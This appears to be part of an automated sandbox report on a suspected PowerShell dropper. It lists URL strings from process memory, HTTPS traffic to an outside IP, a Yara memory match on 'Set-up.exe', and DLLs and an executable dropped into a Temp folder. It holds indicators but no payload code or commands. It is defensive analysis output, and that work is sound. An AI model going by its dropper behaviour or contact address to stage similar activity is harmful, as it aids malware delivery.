Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ssrn.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.st.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackbit.com/branding-guidelines/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackbit.com/branding-guidelines/;
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackpath.com/company/logo-and-branding/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackpath.com/company/logo-and-branding//
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.starlingbank.com/media/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.starlingbank.com/media/#
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.starz.com/guides/starzlibrary/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stellar.org/press
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stellar.org/press1
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.storyblok.com/press
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.storyblok.com/press4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.streamlit.io/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.streamlit.io/brand/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.strongswan.org/images/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.strongswan.org/images/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.styled-components.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stylesha.re/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stylesha.re/x
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sublimetext.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.surveymonkey.com/mp/brandassets/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.suzuki.ie/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.suzuki.ie/o
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.swiggy.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.synology.com/en-global/company/branding
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.synology.com/en-global/company/brandingA
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/Z
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tableau.com/about/media-download-center
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tableau.com/about/media-download-center4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tado.com/gb-en/press-assets
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tado.com/gb-en/press-assetsH
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.talend.com/blog/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.talend.com/blog/P
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tatasteel.com/media/media-kit/logos-usage-guidelines/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tatasteel.com/media/media-kit/logos-usage-guidelines/&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.taxbuzz.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.taxbuzz.com/=
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teamspeak.com/en/more/media-pack/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teamspeak.com/en/more/media-pack/2
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teamviewer.com/en-us/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ted.com/participate/organize-a-local-tedx-event/tedx-organizer-guide/branding-promotions
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tele5.de
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tele5.de#
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tensorflow.org/extras/tensorflow_brand_guidelines.pdf
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tesco.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tesco.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tesla.com/tesla-gallery
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.testin.cn/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.testin.cn/2
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.themoviedb.org/about/logos-attribution
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.themoviedb.org/about/logos-attribution2
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thenorthface.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thenorthface.com/1
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theregister.co.uk/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theregister.co.uk/:
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thetileapp.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thingiverse.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thingiverse.com/4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thumbtack.com/press/media-resources/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tide.co/newsroom/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tide.co/newsroom/B
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tietoevry.com/en/about-us/our-company/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.timescale.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.topcoder.com/thrive/articles/How%20to%20use%20the%20Topcoder%20GUI%20KIT
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.toptal.com/branding
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.toptal.com/brandingA
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.washingtonpost.com/brand-studio/archive/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.washingtonpost.com/brand-studio/archive/.
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.who.int/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.who.int/2
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.winmate.com/NewsAndEvents/Publications
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wipro.com/content/dam/nexus/en/service-lines/applications/latest-thinking/state-of-cyber
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wireguard.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wireguard.com/u
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xbox.com/en-US/consoles
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xbox.com/en-US/consoles0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xda-developers.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xda-developers.com/N
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xero.com/uk/about/media/downloads
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xero.com/uk/about/media/downloads0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xfce.org/download#artwork
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xfce.org/download#artwork&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xilinx.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xsplit.com/presskit
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yamaha.com/en/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yamaha.com/en/Q
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ycombinator.com/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ycombinator.com/press/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yelp.com/styleguide/icons
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yelp.com/styleguide/icons)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/E
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.z-wave.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zalando.co.uk/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zdf.de/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zdf.de/%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zellepay.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zend.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zillow.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zillow.com/4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zingat.com/kurumsal-logolar
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zingat.com/kurumsal-logolar)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoho.com/branding/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoho.com/branding//
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoiper.com/en/products
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoiper.com/en/products1
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zomato.com/business/apps
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zotero.org/support/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zotero.org/support/brand~
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zyte.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zyte.com/o
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xrpl.org/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalehome.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalehome.com3
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/media/logo/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/media/logo/)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yourtravel.tv
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yourtravel.tvR
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://z.cash/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zalo.me/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zapier.com/about/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zenn.dev/mediakit
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zenn.dev/mediakit%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zerodha.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zerodha.comZ
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zerply.com/about/resources
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zigbeealliance.org/solution/zigbee/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zigbeealliance.org/solution/zigbee/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zoom.us/brandguidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zoom.us/brandguidelines&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zorinos.com/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zorinos.com/press/1

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710

Source: unknown

HTTPS traffic detected: 185.93.1.250:443 -> 192.168.2.6:49710 version: TLS 1.2

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 5308, type: MEMORYSTR

System Summary

.NET source code contains very large strings

Source: MahApps.Metro.IconPacks.Codicons.dll.0.dr, PackIconCodiconsDataFactory.cs	Long String: Length: 12441
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 14104
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 20296
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 13040
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 49585
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 11866
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 16479
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 22382
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 10124
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 21471
Source: MahApps.Metro.IconPacks.FileIcons.dll.0.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 14740
Source: MahApps.Metro.IconPacks.Fontaudio.dll.0.dr, PackIconFontaudioDataFactory.cs	Long String: Length: 11520
Source: MahApps.Metro.IconPacks.FontAwesome.dll.0.dr, PackIconFontAwesomeDataFactory.cs	Long String: Length: 11139
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 10529
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 43339
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 11275
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 77638
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 12422
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 15448
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 14776
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 14770
Source: MahApps.Metro.IconPacks.Fontisto.dll.0.dr, PackIconFontistoDataFactory.cs	Long String: Length: 17237

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\WebUI.dll	Jump to dropped file
